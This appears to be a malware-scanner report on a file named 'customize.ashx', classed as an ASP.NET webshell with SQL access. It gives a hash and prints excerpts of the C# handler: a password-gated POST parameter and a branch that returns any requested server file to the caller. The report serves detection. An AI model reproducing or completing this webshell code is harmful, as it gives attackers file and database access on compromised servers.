Hostile ^92% Download

customize.ashx

ASP webshell with SQL access

ASP webshell giving SQL access. Might also be a dual use tool.Matches 'Request.Form'

SHA-256a2a1b810ba69fc360b12adec75b69c4987c80f1e7dcf1a42e59c19f666709c22

Evidence

Matches 'Request.Form' lines 1–20

1<%@ WebHandler Language="C#" Class="Handler" %> 
2
3using System; 
4using System.Web; 
5using System.IO; 
6using System.Net; 
7using System.Text; 
8using System.Data; 
9using System.Data.SqlClient; 
10using System.Diagnostics; 
11
12public class Handler : IHttpHandler 
13{ 
14    public void ProcessRequest(HttpContext context) 
15    { 
16        String Z = context.Request.Form["z"];//设置密码z 
17        if (Z != "") 
18        { 
19            String Z1 = context.Request.Form["Z1"]; 
20            String  …

ASP.NET Response.Write response sink lines 76–83

19…       { 
                          context.Response.Clear(); 
                          context.Response.Write("\x2D\x3E\x7C"); 
                          context.Response.WriteFile(Z1); 
                          context.Response.Write("\x7C\x3C\x2D"); 
                          goto End; 
                      } 
                  cas …